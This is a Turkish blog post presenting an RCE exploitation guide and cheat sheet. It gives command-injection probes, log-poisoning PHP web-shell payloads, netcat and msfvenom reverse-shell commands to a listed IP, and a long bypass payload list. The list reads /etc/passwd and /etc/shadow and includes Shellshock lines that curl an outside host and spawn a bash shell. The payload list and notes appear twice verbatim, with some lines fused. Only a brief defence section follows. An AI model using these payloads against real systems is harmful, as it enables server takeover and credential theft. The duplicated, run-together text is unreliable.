July 4, 2026
Sistemin Anahtarını Ele Geçirmek: RCE Injection ve Gelişmiş Sömürü Rehberi
Siber güvenlik dünyasında “en tehlikeli” zafiyetlerin başında gelen Remote Code Execution (RCE), bir saldırganın hedef sistem üzerinde…

By bovsec
2 min read
Siber güvenlik dünyasında "en tehlikeli" zafiyetlerin başında gelen Remote Code Execution (RCE), bir saldırganın hedef sistem üzerinde fiziksel erişimi olmaksızın ağ üzerinden dilerse işletim sistemi komutlarını çalıştırmasına olanak tanır. Bu rehberde, basit komut enjeksiyonundan başlayarak Log Poisoning ve Reverse Shell alma aşamalarına kadar profesyonel teknikleri inceleyeceğiz.
1. RCE Nedir ve Neden Kritik Seviyededir?
RCE, uygulamanın güvensiz girdi işlemesi veya bellek yönetimi hataları nedeniyle saldırganın rastgele kod çalıştırmasına izin vermesidir. Başarılı bir saldırı genellikle sunucunun tam kontrolünün kaybedilmesiyle sonuçlanır.
2. Kritik Giriş Noktaları ve Keşif
Uygulama içindeki her input alanı potansiyel bir RCE noktasıdır. Özellikle şu parametreler incelenmelidir:
?cmd=,?exec=,?query=,?id=,?page=,?file=.
Tırnak Testi: Input alanına ' veya " karakterlerini gönderin. Eğer uygulama hata veriyorsa, girdileriniz tırnak içine alınmamış olabilir ve doğrudan komut çalıştırma şansınız artar. Örn: 12;whoami.
3. RCE Cheat Sheet: Sömürü Teknikleri
A. Temel ve Kör (Blind) Enjeksiyon
- Semicolon (;): Satırı kapatıp yeni komut başlatmak için kullanılır.
- Zaman Tabanlı Tespit: Eğer komut çıktısı ekrana gelmiyorsa,
$(sleep 10)kullanarak sunucunun tepkisini ölçün. 10 saniyelik bir gecikme zafiyeti kanıtlar. - Dosya Yönlendirme: Çıktıyı bir dosyaya yazdırıp okumayı deneyin:
message=test$(whoami > /var/www/images/bdsec.txt). Ardından/image?filename=bdsec.txtadresinden sonucu kontrol edin.
B. Log Poisoning (LFI'dan RCE'ye Geçiş)
Eğer sistemde bir LFI (Local File Inclusion) zafiyeti varsa, bunu şu yollarla RCE'ye dönüştürebilirsiniz:
- Apache Log Poisoning: HTTP isteklerindeki User-Agent başlığına
<?php system($_GET['cmd']); ?>enjekte edin. Ardından LFI ile Apache log dosyasını (örn:/var/log/apache2/access.log) çağırarak komutunuzu çalıştırın. - SSH Log Poisoning: SSH ile bağlanırken kullanıcı adı kısmına PHP kodunuzu yazın (
ssh '<?php system($_GET["cmd"]); ?>'@hedef.com). LFI ile/var/log/auth.logdosyasını dahil ettiğinizde kod tetiklenecektir. - SMTP Log Poisoning: Mail sunucusuna bağlanıp mail içeriğine kodunuzu bırakın ve SMTP loglarını LFI üzerinden çağırın.
4. Shell Alımı: Netcat ve MSFvenom
RCE elde ettikten sonra kalıcı bir oturum için Reverse Shell (Ters Bağlantı) başlatmalıyız.
- Netcat ile Oturum Alma: Kendi makinenizde bir dinleyici (listener) başlatın:
nc -lvnp [Port]. Ardından zafiyetli sunucuda şu komutu tetikleyin:nc -e /bin/sh [IP] [Port].
netcat ile bağlantı alma
1213 | nc {kendi ipimiz}{kendi netcat portumuz} örnek aşağıda
1213 | nc 192.155.142.122 1234 -e/bin/bashnetcat ile bağlantı alma
1213 | nc {kendi ipimiz}{kendi netcat portumuz} örnek aşağıda
1213 | nc 192.155.142.122 1234 -e/bin/bash- MSFvenom ve Metasploit Kullanımı: Daha gelişmiş ve stabil bir shell için MSFvenom ile payload oluşturun:
msfvenom -p php/meterpreter/reverse_tcp LHOST=[IP] LPORT=[Port] -f raw > shell.phpBu dosyayı sunucuya yüklediğinizde veya RCE ile içeriğini bir dosyaya yazdırdığınızda, Metasploit üzerindenexploit/multi/handlermodülüyle tam yetkili bir Meterpreter oturumu alabilirsiniz.
5. Korunma ve Tavsiyeler
- Girdi Doğrulama: Kullanıcıdan gelen her veriyi sıkı bir whitelist kontrolünden geçirin.
- Güvenli Fonksiyonlar:
system(),exec(),eval()gibi tehlikeli fonksiyonların kullanımından kaçının. - En Az Yetki: Uygulamaları sistemde en düşük yetkiye sahip kullanıcılarla çalıştırın.
bypass için kodlar ;
||
|
&&
&
;id
;netstat -a;
;system('cat%20/etc/passwd')
;id;
|/usr/bin/id
|/usr/bin/id|
||/usr/bin/id|
|id;
||/usr/bin/id;
;id|
;|/usr/bin/id|
\n/bin/ls -al\n
\n/usr/bin/id\n
\nid\n
\n/usr/bin/id;
\nid;
\n/usr/bin/id|
\nid|
;/usr/bin/id\n
;id\n
|usr/bin/id\n
|nid\n
`id`
`/usr/bin/id`
a);id
a;id
a);id;
a;id;
a);id|
a;id|
a)|id
a|id
a)|id;
a|id
|/bin/ls -al
a);/usr/bin/id
a;/usr/bin/id
a);/usr/bin/id;
a;/usr/bin/id;
a);/usr/bin/id|
a;/usr/bin/id|
a)|/usr/bin/id
a|/usr/bin/id
a)|/usr/bin/id;
a|/usr/bin/id
;system('cat%20/etc/passwd')
;system('id')
;system('/usr/bin/id')
%0Acat%20/etc/passwd
%0A/usr/bin/id
%0Aid
%0A/usr/bin/id%0A
%0Aid%0A
| id
& id
; id
%0a id %0a
`id`
$;/usr/bin/id
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=\`nc -lvvp 1234 -e /bin/bash\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=\`nc -lvvp 1236 -e /bin/bash &\`"
?shell=\`nc -lvvp 1237 -e /bin/bash &\`"
cat /etc/hosts
$(`cat /etc/passwd`)
cat /etc/passwd
%0Acat%20/etc/passwd
{{ get_user_file("/etc/passwd") }}
<!--#exec cmd="/bin/cat /etc/passwd"-->
<!--#exec cmd="/bin/cat /etc/shadow"-->
<!--#exec cmd="/usr/bin/id;-->
system('cat /etc/passwd');
<?php system("cat /etc/passwd");?>
| dir C:\Documents and Settings\*
; dir C:\Documents and Settings\*
& dir C:\Documents and Settings\*
&& dir C:\Documents and Settings\*
dir C:\Documents and Settings\*
önemli notlar :
' ve " tırnak dene hata veriyorsa konmamıştır inputlar tırnak içlerine konmamıştır id değiştir ve örn 12;whoami; dene
--------------------
delaylı os command var ise
eğer zaman deniyorsak mesaj yanına $(sleep 10) dememiz 10 saniye gecikme yaşatır
--------------------------------
eğer bi kaç taktik çalışmıyor ise
message=aasd$(whoami > /var/www/images/bdsec.txt)
resim yolunu aç ve isteği yakala
burayı değiştir ==> /image?filename=bdsec.txt||
|
&&
&
;id
;netstat -a;
;system('cat%20/etc/passwd')
;id;
|/usr/bin/id
|/usr/bin/id|
||/usr/bin/id|
|id;
||/usr/bin/id;
;id|
;|/usr/bin/id|
\n/bin/ls -al\n
\n/usr/bin/id\n
\nid\n
\n/usr/bin/id;
\nid;
\n/usr/bin/id|
\nid|
;/usr/bin/id\n
;id\n
|usr/bin/id\n
|nid\n
`id`
`/usr/bin/id`
a);id
a;id
a);id;
a;id;
a);id|
a;id|
a)|id
a|id
a)|id;
a|id
|/bin/ls -al
a);/usr/bin/id
a;/usr/bin/id
a);/usr/bin/id;
a;/usr/bin/id;
a);/usr/bin/id|
a;/usr/bin/id|
a)|/usr/bin/id
a|/usr/bin/id
a)|/usr/bin/id;
a|/usr/bin/id
;system('cat%20/etc/passwd')
;system('id')
;system('/usr/bin/id')
%0Acat%20/etc/passwd
%0A/usr/bin/id
%0Aid
%0A/usr/bin/id%0A
%0Aid%0A
| id
& id
; id
%0a id %0a
`id`
$;/usr/bin/id
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=\`nc -lvvp 1234 -e /bin/bash\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=\`nc -lvvp 1236 -e /bin/bash &\`"
?shell=\`nc -lvvp 1237 -e /bin/bash &\`"
cat /etc/hosts
$(`cat /etc/passwd`)
cat /etc/passwd
%0Acat%20/etc/passwd
{{ get_user_file("/etc/passwd") }}
<!--#exec cmd="/bin/cat /etc/passwd"-->
<!--#exec cmd="/bin/cat /etc/shadow"-->
<!--#exec cmd="/usr/bin/id;-->
system('cat /etc/passwd');
<?php system("cat /etc/passwd");?>
| dir C:\Documents and Settings\*
; dir C:\Documents and Settings\*
& dir C:\Documents and Settings\*
&& dir C:\Documents and Settings\*
dir C:\Documents and Settings\*
önemli notlar :
' ve " tırnak dene hata veriyorsa konmamıştır inputlar tırnak içlerine konmamıştır id değiştir ve örn 12;whoami; dene
--------------------
delaylı os command var ise
eğer zaman deniyorsak mesaj yanına $(sleep 10) dememiz 10 saniye gecikme yaşatır
--------------------------------
eğer bi kaç taktik çalışmıyor ise
message=aasd$(whoami > /var/www/images/bdsec.txt)
resim yolunu aç ve isteği yakala
burayı değiştir ==> /image?filename=bdsec.txtBu rehber GitHub (RoqueNight), Invicti ve güncel sızma testi pratikleri temel alınarak hazırlanmıştır.